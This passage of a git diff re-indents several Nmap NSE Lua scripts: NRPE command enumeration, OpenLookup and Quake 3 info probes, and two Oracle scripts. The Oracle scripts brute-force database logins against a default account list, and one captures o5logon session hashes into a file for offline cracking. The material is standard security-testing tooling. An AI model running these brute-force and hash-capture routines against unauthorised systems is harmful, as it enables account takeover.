- local status, err = sock:connect(host, port, proto)
- if status then
- NRPE_PROTOCOLS = {proto}
- return true, sock
- end
+ for _, proto in pairs(NRPE_PROTOCOLS) do
+ local sock = nmap.new_socket()
+ sock:set_timeout(2000)
+ local status, err = sock:connect(host, port, proto)
+ if status then
+ NRPE_PROTOCOLS = {proto}
+ return true, sock
+ end
- stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
- sock:close()
- end
+ stdnse.print_debug(2, "Can't connect using %s: %s", proto, err)
+ sock:close()
+ end
- return false, nil
+ return false, nil
end
local nrpe_write = function(cmd)
- -- Create request packet, before checksum.
- local pkt = ""
- pkt = pkt .. bin.pack(">S", 2)
- pkt = pkt .. bin.pack(">S", 1)
- pkt = pkt .. bin.pack(">I", 0)
- pkt = pkt .. bin.pack(">S", 0)
- pkt = pkt .. bin.pack("A", cmd)
- pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
- pkt = pkt .. bin.pack(">S", 0)
+ -- Create request packet, before checksum.
+ local pkt = ""
+ pkt = pkt .. bin.pack(">S", 2)
+ pkt = pkt .. bin.pack(">S", 1)
+ pkt = pkt .. bin.pack(">I", 0)
+ pkt = pkt .. bin.pack(">S", 0)
+ pkt = pkt .. bin.pack("A", cmd)
+ pkt = pkt .. string.char(0x00):rep(1024 - #cmd)
+ pkt = pkt .. bin.pack(">S", 0)
- -- Calculate the checksum, and insert it into the packet.
- pkt = bin.pack(
- "A>IA",
- string.char(pkt:byte(1, 4)),
- crc32(pkt),
- string.char(pkt:byte(9, #pkt))
- )
+ -- Calculate the checksum, and insert it into the packet.
+ pkt = bin.pack(
+ "A>IA",
+ string.char(pkt:byte(1, 4)),
+ crc32(pkt),
+ string.char(pkt:byte(9, #pkt))
+ )
- return pkt
+ return pkt
end
local nrpe_read = function(pkt)
- local i
- local result = {}
+ local i
+ local result = {}
- -- Parse packet.
- i, result.version = bin.unpack(">S", pkt, i)
- i, result.type = bin.unpack(">S", pkt, i)
- i, result.crc32 = bin.unpack(">I", pkt, i)
- i, result.state = bin.unpack(">S", pkt, i)
- i, result.data = bin.unpack("z", pkt, i)
+ -- Parse packet.
+ i, result.version = bin.unpack(">S", pkt, i)
+ i, result.type = bin.unpack(">S", pkt, i)
+ i, result.crc32 = bin.unpack(">I", pkt, i)
+ i, result.state = bin.unpack(">S", pkt, i)
+ i, result.data = bin.unpack("z", pkt, i)
- return result
+ return result
end
local nrpe_check = function(host, port, cmd)
- -- Create connection.
- local status, sock = nrpe_open(host, port)
- if not status then
- return false, nil
- end
+ -- Create connection.
+ local status, sock = nrpe_open(host, port)
+ if not status then
+ return false, nil
+ end
- -- Send query.
- local status, err = sock:send(nrpe_write(cmd))
- if not status then
- stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
- sock:close()
- return false, nil
- end
+ -- Send query.
+ local status, err = sock:send(nrpe_write(cmd))
+ if not status then
+ stdnse.print_debug(1, "Failed to send NRPE query for command %s: %s", cmd, err)
+ sock:close()
+ return false, nil
+ end
- -- Receive response.
- local status, resp = sock:receive()
- if not status then
- stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
- sock:close()
- return false, nil
- end
+ -- Receive response.
+ local status, resp = sock:receive()
+ if not status then
+ stdnse.print_debug(1, "Can't read NRPE response: %s", resp)
+ sock:close()
+ return false, nil
+ end
- sock:close()
+ sock:close()
- return true, nrpe_read(resp)
+ return true, nrpe_read(resp)
end
portrule = shortport.port_or_service(5666, "nrpe")
action = function(host, port)
- -- Get script arguments.
- local cmds = stdnse.get_script_args("nrpe-enum.cmds")
- if cmds then
- cmds = stdnse.strsplit(":", cmds)
- else
- cmds = NRPE_COMMANDS
- end
+ -- Get script arguments.
+ local cmds = stdnse.get_script_args("nrpe-enum.cmds")
+ if cmds then
+ cmds = stdnse.strsplit(":", cmds)
+ else
+ cmds = NRPE_COMMANDS
+ end
- -- Create results table.
- local results = tab.new()
- tab.addrow(
- results,
- "Command",
- "State",
- "Response"
- )
+ -- Create results table.
+ local results = tab.new()
+ tab.addrow(
+ results,
+ "Command",
+ "State",
+ "Response"
+ )
- -- Try each NRPE command, and collect the results.
- for _, cmd in pairs(cmds) do
- local status, result = nrpe_check(host, port, cmd)
- if status then
- tab.addrow(
- results,
- cmd,
- NRPE_STATES[result.state],
- result.data
- )
- end
- end
+ -- Try each NRPE command, and collect the results.
+ for _, cmd in pairs(cmds) do
+ local status, result = nrpe_check(host, port, cmd)
+ if status then
+ tab.addrow(
+ results,
+ cmd,
+ NRPE_STATES[result.state],
+ result.data
+ )
+ end
+ end
- -- If no queries generated responses, don't output anything.
- if #results == 1 then
- return
- end
+ -- If no queries generated responses, don't output anything.
+ if #results == 1 then
+ return
+ end
- -- Record service description.
- port.version.name = "nrpe"
- port.version.product = "Nagios Remote Plugin Executor"
- nmap.set_port_version(host, port)
+ -- Record service description.
+ port.version.name = "nrpe"
+ port.version.product = "Nagios Remote Plugin Executor"
+ nmap.set_port_version(host, port)
- -- Format table, without trailing newline.
- results = tab.dump(results)
- results = results:sub(1, #results - 1)
+ -- Format table, without trailing newline.
+ results = tab.dump(results)
+ results = results:sub(1, #results - 1)
- return "\n" .. results
+ return "\n" .. results
end
diff --git a/scripts/openlookup-info.nse b/scripts/openlookup-info.nse
index 0a57ce5d0..e936babf1 100644
--- a/scripts/openlookup-info.nse
+++ b/scripts/openlookup-info.nse
@@ -35,23 +35,23 @@ portrule = shortport.port_or_service(5850, "openlookup")
-- parses a Netstring element
local function parsechunk(data)
- local parts = stdnse.strsplit(":", data)
- if #parts < 2 then
- return nil, data
- end
- local head = table.remove(parts, 1)
- local size = tonumber(head)
- if not size then
- return nil, data
- end
- local body = stdnse.strjoin(":", parts)
- if #body < size then
- return nil, data
- end
- local chunk = string.sub(body, 1, size)
- local skip = #chunk + string.len(",")
- local rest = string.sub(body, skip + 1)
- return chunk, rest
+ local parts = stdnse.strsplit(":", data)
+ if #parts < 2 then
+ return nil, data
+ end
+ local head = table.remove(parts, 1)
+ local size = tonumber(head)
+ if not size then
+ return nil, data
+ end
+ local body = stdnse.strjoin(":", parts)
+ if #body < size then
+ return nil, data
+ end
+ local chunk = string.sub(body, 1, size)
+ local skip = #chunk + string.len(",")
+ local rest = string.sub(body, skip + 1)
+ return chunk, rest
end
-- NSON helpers
@@ -59,203 +59,203 @@ end
-- parses an NSON int
local function parseint(data)
- if string.sub(data, 1, 1) ~= "i" then
- return
- end
- local text = string.sub(data, 2)
- local number = tonumber(text)
- return number
+ if string.sub(data, 1, 1) ~= "i" then
+ return
+ end
+ local text = string.sub(data, 2)
+ local number = tonumber(text)
+ return number
end
-- parses an NSON float
local function parsefloat(data)
- if string.sub(data, 1, 1) ~= "f" then
- return
- end
- local text = string.sub(data, 2)
- local number = tonumber(text)
- return number
+ if string.sub(data, 1, 1) ~= "f" then
+ return
+ end
+ local text = string.sub(data, 2)
+ local number = tonumber(text)
+ return number
end
-- parses an NSON string
local function parsestring(data)
- if string.sub(data, 1, 1) ~= "s" then
- return
- end
- return string.sub(data, 2)
+ if string.sub(data, 1, 1) ~= "s" then
+ return
+ end
+ return string.sub(data, 2)
end
-- parses an NSON int, float, or string
local function parsesimple(data)
- local i = parseint(data)
- local f = parsefloat(data)
- local s = parsestring(data)
- return i or f or s
+ local i = parseint(data)
+ local f = parsefloat(data)
+ local s = parsestring(data)
+ return i or f or s
end
-- parses an NSON dictionary
local function parsedict(data)
- if #data < 1 then
- return
- end
- if string.sub(data, 1, 1) ~= "d" then
- return
- end
- local rest = string.sub(data, 2)
- local dict = {}
- while #rest > 0 do
- local chunk, key, value
- chunk, rest = parsechunk(rest)
- if not chunk then
- return
- end
- key = parsestring(chunk)
- value, rest = parsechunk(rest)
- if not value then
- return
- end
- dict[key] = value
- end
- return dict
+ if #data < 1 then
+ return
+ end
+ if string.sub(data, 1, 1) ~= "d" then
+ return
+ end
+ local rest = string.sub(data, 2)
+ local dict = {}
+ while #rest > 0 do
+ local chunk, key, value
+ chunk, rest = parsechunk(rest)
+ if not chunk then
+ return
+ end
+ key = parsestring(chunk)
+ value, rest = parsechunk(rest)
+ if not value then
+ return
+ end
+ dict[key] = value
+ end
+ return dict
end
-- parses an NSON array
local function parsearray(data)
- if #data < 1 then
- return
- end
- if string.sub(data, 1, 1) ~= "a" then
- return
- end
- local rest = string.sub(data, 2)
- local array = {}
- while #rest > 0 do
- local value
- value, rest = parsechunk(rest)
- if not value then
- return
- end
- table.insert(array, value)
- end
- return array
+ if #data < 1 then
+ return
+ end
+ if string.sub(data, 1, 1) ~= "a" then
+ return
+ end
+ local rest = string.sub(data, 2)
+ local array = {}
+ while #rest > 0 do
+ local value
+ value, rest = parsechunk(rest)
+ if not value then
+ return
+ end
+ table.insert(array, value)
+ end
+ return array
end
-- OpenLookup specific stuff
local function formataddress(data)
- local parts = parsearray(data)
- if not parts then
- return
- end
- if #parts < 2 then
- return
- end
- local ip = parsestring(parts[1])
- if not ip then
- return
- end
- local port = parseint(parts[2])
- if not port then
- return
- end
- return ip .. ":" .. port
+ local parts = parsearray(data)
+ if not parts then
+ return
+ end
+ if #parts < 2 then
+ return
+ end
+ local ip = parsestring(parts[1])
+ if not ip then
+ return
+ end
+ local port = parseint(parts[2])
+ if not port then
+ return
+ end
+ return ip .. ":" .. port
end
local function formattime(data)
- local time = parsefloat(data)
- if not time then
- return
- end
- local human = stdnse.format_timestamp(time)
- return time .. " (" .. human .. ")"
+ local time = parsefloat(data)
+ if not time then
+ return
+ end
+ local human = stdnse.format_timestamp(time)
+ return time .. " (" .. human .. ")"
end
local function formatkey(key)
- local parts = stdnse.strsplit("_", key)
- return stdnse.strjoin(" ", parts)
+ local parts = stdnse.strsplit("_", key)
+ return stdnse.strjoin(" ", parts)
end
local function formatvalue(key, nson)
- local value
- if key == "your_address" then
- value = formataddress(nson)
- elseif key == "timestamp" then
- value = formattime(nson)
- else
- value = parsesimple(nson)
- end
- if not value then
- value = "<" .. #nson .. "B of data>"
- end
- return value
+ local value
+ if key == "your_address" then
+ value = formataddress(nson)
+ elseif key == "timestamp" then
+ value = formattime(nson)
+ else
+ value = parsesimple(nson)
+ end
+ if not value then
+ value = "<" .. #nson .. "B of data>"
+ end
+ return value
end
local function format(rawkey, nson)
- local key = formatkey(rawkey)
- local value = formatvalue(rawkey, nson)
- return key .. ": " .. value
+ local key = formatkey(rawkey)
+ local value = formatvalue(rawkey, nson)
+ return key .. ": " .. value
end
function formatoptions(header)
- local msg = parsedict(header)
- if not msg then
- return
- end
- local rawmeth = msg["method"]
- if not rawmeth then
- stdnse.print_debug(2, "header missing method field")
- return
- end
- local method = parsestring(rawmeth)
- if not method then
- return
- end
- if method ~= "hello" then
- stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
- return
- end
- local rawopts = msg["options"]
- if not rawopts then
- return {}
- end
- local options = parsedict(rawopts)
- if not options then
- return
- end
- local formatted = {}
- for key, nson in pairs(options) do
- local tmp = format(key, nson)
- if tmp then
- table.insert(formatted, tmp)
- end
- end
- return formatted
+ local msg = parsedict(header)
+ if not msg then
+ return
+ end
+ local rawmeth = msg["method"]
+ if not rawmeth then
+ stdnse.print_debug(2, "header missing method field")
+ return
+ end
+ local method = parsestring(rawmeth)
+ if not method then
+ return
+ end
+ if method ~= "hello" then
+ stdnse.print_debug(1, "expecting hello, got " .. method .. " instead")
+ return
+ end
+ local rawopts = msg["options"]
+ if not rawopts then
+ return {}
+ end
+ local options = parsedict(rawopts)
+ if not options then
+ return
+ end
+ local formatted = {}
+ for key, nson in pairs(options) do
+ local tmp = format(key, nson)
+ if tmp then
+ table.insert(formatted, tmp)
+ end
+ end
+ return formatted
end
action = function(host, port)
- local status, banner = comm.get_banner(host, port)
- if not status then
- return
- end
- local header, _ = parsechunk(banner)
- if not header then
- return
- end
- local options = formatoptions(header)
- if not options then
- return
- end
- port.version.name = "openlookup"
- local version = options["version"]
- if version then
- port.version.version = version
- end
- nmap.set_port_version(host, port)
- if #options < 1 then
- return
- end
- local response = {}
- table.insert(response, options)
- return stdnse.format_output(true, response)
+ local status, banner = comm.get_banner(host, port)
+ if not status then
+ return
+ end
+ local header, _ = parsechunk(banner)
+ if not header then
+ return
+ end
+ local options = formatoptions(header)
+ if not options then
+ return
+ end
+ port.version.name = "openlookup"
+ local version = options["version"]
+ if version then
+ port.version.version = version
+ end
+ nmap.set_port_version(host, port)
+ if #options < 1 then
+ return
+ end
+ local response = {}
+ table.insert(response, options)
+ return stdnse.format_output(true, response)
end
diff --git a/scripts/oracle-brute-stealth.nse b/scripts/oracle-brute-stealth.nse
index 63e1539ee..fbb503e55 100644
--- a/scripts/oracle-brute-stealth.nse
+++ b/scripts/oracle-brute-stealth.nse
@@ -63,141 +63,141 @@ local johnfile
Driver =
{
- new = function(self, host, port, sid )
- local o = { host = host, port = port, sid = sid }
- setmetatable(o, self)
- self.__index = self
- return o
- end,
+ new = function(self, host, port, sid )
+ local o = { host = host, port = port, sid = sid }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
- --- Connects performs protocol negotiation
- --
- -- @return true on success, false on failure
- connect = function( self )
- local MAX_RETRIES = 10
- local tries = MAX_RETRIES
+ --- Connects performs protocol negotiation
+ --
+ -- @return true on success, false on failure
+ connect = function( self )
+ local MAX_RETRIES = 10
+ local tries = MAX_RETRIES
- self.helper = ConnectionPool[coroutine.running()]
- if ( self.helper ) then return true end
+ self.helper = ConnectionPool[coroutine.running()]
+ if ( self.helper ) then return true end
- self.helper = tns.Helper:new( self.host, self.port, self.sid )
+ self.helper = tns.Helper:new( self.host, self.port, self.sid )
- -- This loop is intended for handling failed connections
- -- A connection may fail for a number of different reasons.
- -- For the moment, we're just handling the error code 12520
- --
- -- Error 12520 has been observed on Oracle XE and seems to
- -- occur when a maximum connection count is reached.
- local status, data
- repeat
- if ( tries < MAX_RETRIES ) then
- stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
- end
- status, data = self.helper:Connect()
- if ( not(status) ) then
- stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
- self.helper:Close()
- else
- break
- end
- tries = tries - 1
- stdnse.sleep(1)
- until( tries == 0 or data ~= "12520" )
+ -- This loop is intended for handling failed connections
+ -- A connection may fail for a number of different reasons.
+ -- For the moment, we're just handling the error code 12520
+ --
+ -- Error 12520 has been observed on Oracle XE and seems to
+ -- occur when a maximum connection count is reached.
+ local status, data
+ repeat
+ if ( tries < MAX_RETRIES ) then
+ stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
+ end
+ status, data = self.helper:Connect()
+ if ( not(status) ) then
+ stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
+ self.helper:Close()
+ else
+ break
+ end
+ tries = tries - 1
+ stdnse.sleep(1)
+ until( tries == 0 or data ~= "12520" )
- if ( status ) then
- ConnectionPool[coroutine.running()] = self.helper
- end
+ if ( status ) then
+ ConnectionPool[coroutine.running()] = self.helper
+ end
- return status, data
- end,
+ return status, data
+ end,
- --- Attempts to login to the Oracle server
- --
- -- @param username string containing the login username
- -- @param password string containing the login password
- -- @return status, true on success, false on failure
- -- @return brute.Error object on failure
- -- brute.Account object on success
- login = function( self, username, password )
- local status, data = self.helper:StealthLogin( username, password )
+ --- Attempts to login to the Oracle server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- brute.Account object on success
+ login = function( self, username, password )
+ local status, data = self.helper:StealthLogin( username, password )
- if ( data["AUTH_VFR_DATA"] ) then
- local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
- if ( johnfile ) then
- johnfile:write(("%s:%s\n"):format(username,hash))
- end
- return true, brute.Account:new(username, hash, creds.State.HASHED)
- else
- return false, brute.Error:new( data )
- end
+ if ( data["AUTH_VFR_DATA"] ) then
+ local hash = string.format("$o5logon$%s*%s", data["AUTH_SESSKEY"], data["AUTH_VFR_DATA"])
+ if ( johnfile ) then
+ johnfile:write(("%s:%s\n"):format(username,hash))
+ end
+ return true, brute.Account:new(username, hash, creds.State.HASHED)
+ else
+ return false, brute.Error:new( data )
+ end
- end,
+ end,
- --- Disconnects and terminates the Oracle TNS communication
- disconnect = function( self )
- return true
- end,
+ --- Disconnects and terminates the Oracle TNS communication
+ disconnect = function( self )
+ return true
+ end,
}
action = function(host, port)
- local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
- local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
- local engine = brute.Engine:new(Driver, host, port, sid)
- local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
- local mode = arg_accounts and "accounts" or "default"
+ local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
+ local sid = stdnse.get_script_args(SCRIPT_NAME .. '.sid') or stdnse.get_script_args('tns.sid')
+ local engine = brute.Engine:new(Driver, host, port, sid)
+ local arg_accounts = stdnse.get_script_args(SCRIPT_NAME .. '.accounts')
+ local mode = arg_accounts and "accounts" or "default"
- if ( not(sid) ) then
- return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
- end
+ if ( not(sid) ) then
+ return "\n ERROR: Oracle instance not set (see oracle-brute-stealth.sid or tns.sid)"
+ end
- if ( arg_johnfile ) then
- johnfile = io.open(arg_johnfile, "w")
- if ( not(johnfile) ) then
- return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
- end
- end
+ if ( arg_johnfile ) then
+ johnfile = io.open(arg_johnfile, "w")
+ if ( not(johnfile) ) then
+ return ("\n ERROR: Failed to open %s for writing"):format(johnfile)
+ end
+ end
- local helper = tns.Helper:new( host, port, sid )
- local status, result = helper:Connect()
- if ( not(status) ) then
- return "\n ERROR: Failed to connect to oracle server"
- end
- helper:Close()
+ local helper = tns.Helper:new( host, port, sid )
+ local status, result = helper:Connect()
+ if ( not(status) ) then
+ return "\n ERROR: Failed to connect to oracle server"
+ end
+ helper:Close()
- if ( stdnse.get_script_args('userdb') or
- stdnse.get_script_args('passdb') or
- stdnse.get_script_args('oracle-brute-stealth.nodefault') or
- stdnse.get_script_args('brute.credfile') ) then
- mode = nil
- end
+ if ( stdnse.get_script_args('userdb') or
+ stdnse.get_script_args('passdb') or
+ stdnse.get_script_args('oracle-brute-stealth.nodefault') or
+ stdnse.get_script_args('brute.credfile') ) then
+ mode = nil
+ end
- if ( mode == "default" ) then
- local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
- if ( not(f) ) then
- return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
- end
+ if ( mode == "default" ) then
+ local f = nmap.fetchfile(DEFAULT_ACCOUNTS)
+ if ( not(f) ) then
+ return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
+ end
- f = io.open(f)
- if ( not(f) ) then
- return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
- end
+ f = io.open(f)
+ if ( not(f) ) then
+ return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
+ end
- engine.iterator = brute.Iterators.credential_iterator(f)
- elseif( "accounts" == mode ) then
- engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
- end
+ engine.iterator = brute.Iterators.credential_iterator(f)
+ elseif( "accounts" == mode ) then
+ engine.iterator = unpwdb.table_iterator(stdnse.strsplit(",%s*", arg_accounts))
+ end
- engine.options.useraspass = false
- engine.options.mode = "user"
- engine.options.script_name = SCRIPT_NAME
- status, result = engine:start()
+ engine.options.useraspass = false
+ engine.options.mode = "user"
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
- if ( johnfile ) then
- johnfile:close()
- end
+ if ( johnfile ) then
+ johnfile:close()
+ end
- return result
+ return result
end
diff --git a/scripts/oracle-brute.nse b/scripts/oracle-brute.nse
index 1dac17044..ac9d1ee13 100644
--- a/scripts/oracle-brute.nse
+++ b/scripts/oracle-brute.nse
@@ -52,13 +52,13 @@ result in a large number of accounts being locked out on the database server.
-- Version 0.3
-- Created 07/12/2010 - v0.1 - created by Patrik Karlsson
-- Revised 07/23/2010 - v0.2 - added script usage and output and
--- - oracle-brute.sid argument
+-- - oracle-brute.sid argument
-- Revised 07/25/2011 - v0.3 - added support for guessing default accounts
-- changed code to use ConnectionPool
-- Revised 03/13/2012 - v0.4 - revised by László Tóth
-- added support for SYSDBA accounts
-- Revised 08/07/2012 - v0.5 - revised to suit the changes in brute
--- library [Aleksandar Nikolic]
+-- library [Aleksandar Nikolic]
--
-- Summary
@@ -79,147 +79,147 @@ local sysdba = {}
Driver =
{
- new = function(self, host, port, sid )
- local o = { host = host, port = port, sid = sid }
- setmetatable(o, self)
- self.__index = self
- return o
- end,
+ new = function(self, host, port, sid )
+ local o = { host = host, port = port, sid = sid }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
- --- Connects performs protocol negotiation
- --
- -- @return true on success, false on failure
- connect = function( self )
- local MAX_RETRIES = 10
- local tries = MAX_RETRIES
+ --- Connects performs protocol negotiation
+ --
+ -- @return true on success, false on failure
+ connect = function( self )
+ local MAX_RETRIES = 10
+ local tries = MAX_RETRIES
- self.helper = ConnectionPool[coroutine.running()]
- if ( self.helper ) then return true end
+ self.helper = ConnectionPool[coroutine.running()]
+ if ( self.helper ) then return true end
- self.helper = tns.Helper:new( self.host, self.port, self.sid )
+ self.helper = tns.Helper:new( self.host, self.port, self.sid )
- -- This loop is intended for handling failed connections
- -- A connection may fail for a number of different reasons.
- -- For the moment, we're just handling the error code 12520
- --
- -- Error 12520 has been observed on Oracle XE and seems to
- -- occur when a maximum connection count is reached.
- local status, data
- repeat
- if ( tries < MAX_RETRIES ) then
- stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
- end
- status, data = self.helper:Connect()
- if ( not(status) ) then
- stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
- self.helper:Close()
- else
- break
- end
- tries = tries - 1
- stdnse.sleep(1)
- until( tries == 0 or data ~= "12520" )
+ -- This loop is intended for handling failed connections
+ -- A connection may fail for a number of different reasons.
+ -- For the moment, we're just handling the error code 12520
+ --
+ -- Error 12520 has been observed on Oracle XE and seems to
+ -- occur when a maximum connection count is reached.
+ local status, data
+ repeat
+ if ( tries < MAX_RETRIES ) then
+ stdnse.print_debug(2, "%s: Attempting to re-connect (attempt %d of %d)", SCRIPT_NAME, MAX_RETRIES - tries, MAX_RETRIES)
+ end
+ status, data = self.helper:Connect()
+ if ( not(status) ) then
+ stdnse.print_debug(2, "%s: ERROR: An Oracle %s error occured", SCRIPT_NAME, data)
+ self.helper:Close()
+ else
+ break
+ end
+ tries = tries - 1
+ stdnse.sleep(1)
+ until( tries == 0 or data ~= "12520" )
- if ( status ) then
- ConnectionPool[coroutine.running()] = self.helper
- end
+ if ( status ) then
+ ConnectionPool[coroutine.running()] = self.helper
+ end
- return status, data
- end,
+ return status, data
+ end,
- --- Attempts to login to the Oracle server
- --
- -- @param username string containing the login username
- -- @param password string containing the login password
- -- @return status, true on success, false on failure
- -- @return brute.Error object on failure
- -- brute.Account object on success
- login = function( self, username, password )
- local status, data = self.helper:Login( username, password )
+ --- Attempts to login to the Oracle server
+ --
+ -- @param username string containing the login username
+ -- @param password string containing the login password
+ -- @return status, true on success, false on failure
+ -- @return brute.Error object on failure
+ -- brute.Account object on success
+ login = function( self, username, password )
+ local status, data = self.helper:Login( username, password )
- if ( sysdba[username] ) then
- return false, brute.Error:new("Account already discovered")
- end
+ if ( sysdba[username] ) then
+ return false, brute.Error:new("Account already discovered")
+ end
- if ( status ) then
- self.helper:Close()
- ConnectionPool[coroutine.running()] = nil
- return true, brute.Account:new(username, password, creds.State.VALID)
- -- Check for account locked message
- elseif ( data:match("ORA[-]28000") ) then
- return true, brute.Account:new(username, password, creds.State.LOCKED)
- -- Check for account is SYSDBA message
- elseif ( data:match("ORA[-]28009") ) then
- sysdba[username] = true
- return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
- -- check for any other message
- elseif ( data:match("ORA[-]%d+")) then
- stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
- return false, brute.Error:new(data)
- -- any other errors are likely communication related, attempt to re-try
- else
- self.helper:Close()
- ConnectionPool[coroutine.running()] = nil
- local err = brute.Error:new(data)
- err:setRetry(true)
- return false, err
- end
+ if ( status ) then
+ self.helper:Close()
+ ConnectionPool[coroutine.running()] = nil
+ return true, brute.Account:new(username, password, creds.State.VALID)
+ -- Check for account locked message
+ elseif ( data:match("ORA[-]28000") ) then
+ return true, brute.Account:new(username, password, creds.State.LOCKED)
+ -- Check for account is SYSDBA message
+ elseif ( data:match("ORA[-]28009") ) then
+ sysdba[username] = true
+ return true, brute.Account:new(username .. " as sysdba", password, creds.State.VALID)
+ -- check for any other message
+ elseif ( data:match("ORA[-]%d+")) then
+ stdnse.print_debug(3, "username: %s, password: %s, error: %s", username, password, data )
+ return false, brute.Error:new(data)
+ -- any other errors are likely communication related, attempt to re-try
+ else
+ self.helper:Close()
+ ConnectionPool[coroutine.running()] = nil
+ local err = brute.Error:new(data)
+ err:setRetry(true)
+ return false, err
+ end
- return false, brute.Error:new( data )
+ return false, brute.Error:new( data )
- end,
+ end,
- --- Disconnects and terminates the Oracle TNS communication
- disconnect = function( self )
- return true
- end,
+ --- Disconnects and terminates the Oracle TNS communication
+ disconnect = function( self )
+ return true
+ end,
}
action = function(host, port)
- local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
- local sid = stdnse.get_script_args('oracle-brute.sid') or
- stdnse.get_script_args('tns.sid')
- local engine = brute.Engine:new(Driver, host, port, sid)
- local mode = "default"
+ local DEFAULT_ACCOUNTS = "nselib/data/oracle-default-accounts.lst"
+ local sid = stdnse.get_script_args('oracle-brute.sid') or
+ stdnse.get_script_args('tns.sid')
+ local engine = brute.Engine:new(Driver, host, port, sid)
+ local mode = "default"
- if ( not(sid) ) then
- return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
- end
+ if ( not(sid) ) then
+ return "\n ERROR: Oracle instance not set (see oracle-brute.sid or tns.sid)"
+ end
- local helper = tns.Helper:new( host, port, sid )
- local status, result = helper:Connect()
- if ( not(status) ) then
- return "\n ERROR: Failed to connect to oracle server"
- end
- helper:Close()
+ local helper = tns.Helper:new( host, port, sid )
+ local status, result = helper:Connect()
+ if ( not(status) ) then
+ return "\n ERROR: Failed to connect to oracle server"
+ end
+ helper:Close()
- local f
+ local f
- if ( stdnse.get_script_args('userdb') or
- stdnse.get_script_args('passdb') or
- stdnse.get_script_args('oracle-brute.nodefault') or
- stdnse.get_script_args('brute.credfile') ) then
- mode = nil
- end
+ if ( stdnse.get_script_args('userdb') or
+ stdnse.get_script_args('passdb') or
+ stdnse.get_script_args('oracle-brute.nodefault') or
+ stdnse.get_script_args('brute.credfile') ) then
+ mode = nil
+ end
- if ( mode == "default" ) then
- f = nmap.fetchfile(DEFAULT_ACCOUNTS)
- if ( not(f) ) then
- return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
- end
+ if ( mode == "default" ) then
+ f = nmap.fetchfile(DEFAULT_ACCOUNTS)
+ if ( not(f) ) then
+ return ("\n ERROR: Failed to find %s"):format(DEFAULT_ACCOUNTS)
+ end
- f = io.open(f)
- if ( not(f) ) then
- return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
- end
+ f = io.open(f)
+ if ( not(f) ) then
+ return ("\n ERROR: Failed to open %s"):format(DEFAULT_ACCOUNTS)
+ end
- engine.iterator = brute.Iterators.credential_iterator(f)
- end
+ engine.iterator = brute.Iterators.credential_iterator(f)
+ end
- engine.options.script_name = SCRIPT_NAME
- status, result = engine:start()
+ engine.options.script_name = SCRIPT_NAME
+ status, result = engine:start()
- return result
+ return result
end
diff --git a/scripts/quake3-info.nse b/scripts/quake3-info.nse
index 5fe89e49c..cc6dd5122 100644
--- a/scripts/quake3-info.nse
+++ b/scripts/quake3-info.nse
@@ -69,188 +69,188 @@ categories = {"default", "discovery", "safe", "version"}
local function range(first, last)
- local list = {}
- for i = first, last do
- table.insert(list, i)
- end
- return list
+ local list = {}
+ for i = first, last do
+ table.insert(list, i)
+ end
+ return list
end
portrule = shortport.port_or_service(range(27960, 27970), {'quake3'}, 'udp')
local function parsefields(data)
- local fields = {}
- local parts = stdnse.strsplit("\\", data)
- local nullprefix = table.remove(parts, 1)
- if nullprefix ~= "" then
- stdnse.print_debug(2, "unrecognized field format, skipping options")
- return {}
- end
- for i = 1, #parts, 2 do
- local key = parts[i]
- local value = parts[i + 1]
- fields[key] = value
- end
- return fields
+ local fields = {}
+ local parts = stdnse.strsplit("\\", data)
+ local nullprefix = table.remove(parts, 1)
+ if nullprefix ~= "" then
+ stdnse.print_debug(2, "unrecognized field format, skipping options")
+ return {}
+ end
+ for i = 1, #parts, 2 do
+ local key = parts[i]
+ local value = parts[i + 1]
+ fields[key] = value
+ end
+ return fields
end
local function parsename(data)
- local parts = stdnse.strsplit('"', data)
- if #parts ~= 3 then
- return nil
- end
- local e1 = parts[1]
- local name = parts[2]
- local e2 = parts[3]
- local extra = e1 .. e2
- if extra ~= "" then
- return nil
- end
- return name
+ local parts = stdnse.strsplit('"', data)
+ if #parts ~= 3 then
+ return nil
+ end
+ local e1 = parts[1]
